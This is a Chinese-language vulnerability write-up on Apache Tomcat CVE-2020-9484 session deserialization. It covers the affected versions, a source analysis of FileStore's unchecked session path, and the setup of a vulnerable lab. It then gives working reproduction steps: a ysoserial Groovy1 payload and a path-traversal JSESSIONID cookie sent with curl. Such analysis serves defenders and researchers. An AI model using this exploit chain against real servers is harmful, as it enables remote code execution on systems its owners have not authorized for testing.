Tomcat Session(CVE-2020-9484)反序列化

0x01简介

Apache Tomcat最早是由Sun Microsystems开发的一个Servlet容器，在1999年被捐献给ASF（Apache Software Foundation），隶属于Jakarta项目，现在已经独立为一个顶级项目。Tomcat主要实现了Java EE中的Servlet、JSP规范，同时也提供HTTP服务，是市场上非常流行的Java Web容器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。

0x02漏洞介绍

北京时间2020年05月20日，Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-9484。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时，使用不安全的配置（没有使用EncryptInterceptor）会存在反序列化漏洞，***者通过精心构造的数据包， 可以对使用了自带session同步功能的Tomcat服务器进行***。
成功利用此漏洞需要同时满足以下4个条件:
1.***者能够控制服务器上文件的内容和文件名称
2.服务器PersistenceManager配置中使用了FileStore
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”，或者过滤器不够严格，导致允许***者提供反序列化数据的对象
4.***者知道使用的FileStore存储位置到***者可控文件的相对路径

0x03影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103

0x04漏洞分析

根据上面配置的

，去找tomcat源码。此处使用 Tomcat 10.0.0-M4 来做分析。
查看FileStore的load方法，代码如下

public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);
 StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;

load 会先将 session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加
.session 后缀 然而并没有验证文件的目录

private File file(String id) throws IOException {
        if (this.directory == null) {
            return null;
        }
        String filename = id + FILE_EXT; 
        File file = new File(directory(), filename);
        return file;
    }

当文件存在时, 系统会运行 org.apache.catalina.session.getObjectInputStream 方法

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
        BufferedInputStream bis = new BufferedInputStream(is);
        CustomObjectInputStream ois;
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        if (manager instanceof ManagerBase) {
            ManagerBase managerBase = (ManagerBase) manager;
            ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
                    managerBase.getSessionAttributeValueClassNamePattern(),
                    managerBase.getWarnOnSessionAttributeFilterFailure());
        } else {
            ois = new CustomObjectInputStream(bis, classLoader);
        }
        return ois;
    }

getObjectInputStream 方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了。

0x05环境搭建

安装tomcat需要java8环境，Java8环境安装教程
https://www.jianshu.com/p/9ec7838411c8
搭建一个tomcat服务，下载tomcat 10.0.0-M4，下载地址：
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz

在/usr/local/下创建一个tomcat目录，将文件解压进去
mkdir /usr/local/tomcat
tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/

修改/usr/local/tomcat/conf/context.xlm 添加Manager

    
    
    WEB-INF/web.xml
    WEB-INF/tomcat-web.xml
    ${catalina.base}/conf/web.xml
    
    
    
            
    

下载groovy-2.3.9.jar，然后将groovy-2.3.9.jar 放入/usr/local/tomcat/lib目录下
在lib下执行：wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
运行tomcat：/usr/local/tomcat/bin/catalina.sh start

浏览器访问http://ip:8080，出现如下界面表示安装成功

0x06漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包
下载地址：git clone https://github.com/frohoff/ysoserial.git
执行下面语句生成 payload
java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

在浏览器抓取首页的包添加Cookie: JSESSIONID=../../../../../tmp/test

或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件
curl 'http://172.16.1.186:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

执行 ls /tmp 查看结果

0x07修复方式

升级版本,或者配置WAF，过滤掉../之类的字符串，或者不使用 FileStore。